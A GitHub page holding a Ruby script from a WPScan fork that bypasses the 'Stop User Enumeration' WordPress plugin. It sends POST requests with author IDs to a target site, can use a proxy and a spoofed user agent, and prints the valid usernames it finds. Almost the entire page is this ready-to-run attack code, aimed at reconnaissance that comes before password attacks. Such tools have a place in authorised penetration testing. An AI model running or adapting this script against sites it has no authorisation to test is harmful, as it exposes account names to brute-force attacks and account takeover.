forked from wpscanteam/wpscan
-
Notifications
You must be signed in to change notification settings - Fork 0
/
stop_user_enumeration_bypass.rb
executable file
·75 lines (59 loc) · 1.75 KB
/
stop_user_enumeration_bypass.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/usr/bin/env ruby
# encoding: UTF-8
#
#
# Script based on http://seclists.org/fulldisclosure/2014/Feb/3
require File.join(__dir__, 'lib', 'wpscan', 'wpscan_helper')
@opts = {
ids: 1..10,
verbose: false,
user_agent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0'
}
parser = OptionParser.new('Usage: ./stop_user_enumeration_bypass.rb <Target URL> [options]', 35) do |opts|
opts.on('--proxy PROXY', 'Proxy to use') do |proxy|
@opts[:proxy] = proxy
end
opts.on('--auth Username:Password', 'Credentials to use if Basic/NTLM auth') do |creds|
@opts[:creds] = creds
end
opts.on('--ids START-END', 'The ids to check, default is 1-10') do |ids|
@opts[:ids] = Range.new(*ids.split('-').map(&:to_i))
end
opts.on('--user-agent UA', 'The user-agent to use') do |ua|
@opts[:user_agent] = ua
end
opts.on('--verbose', '-v', 'Verbose Mode') do
@opts[:verbose] = true
end
end
begin
parser.parse!
fail "#{critical('The target URL must be supplied')}\n\n#{parser}" unless ARGV[0]
uri = URI.parse(add_trailing_slash(add_http_protocol(ARGV[0]))).to_s
request_params = {
proxy: @opts[:proxy],
userpwd: @opts[:creds],
headers: { 'User-Agent' => @opts[:user_agent] },
followlocation: true,
ssl_verifypeer: false,
ssl_verifyhost: 2
}
detected_users = WpUsers.new
@opts[:ids].each do |user_id|
user = WpUser.new(uri, id: user_id)
if user.exists_from_response?(
Typhoeus.post(uri, request_params.merge(body: { author: user_id }))
)
detected_users << user
end
end
puts 'Usernames found:'
detected_users.output
rescue => e
puts e.message
if @opts[:verbose]
puts critical('Trace:')
puts critical(e.backtrace.join("\n"))
end
exit(1)
end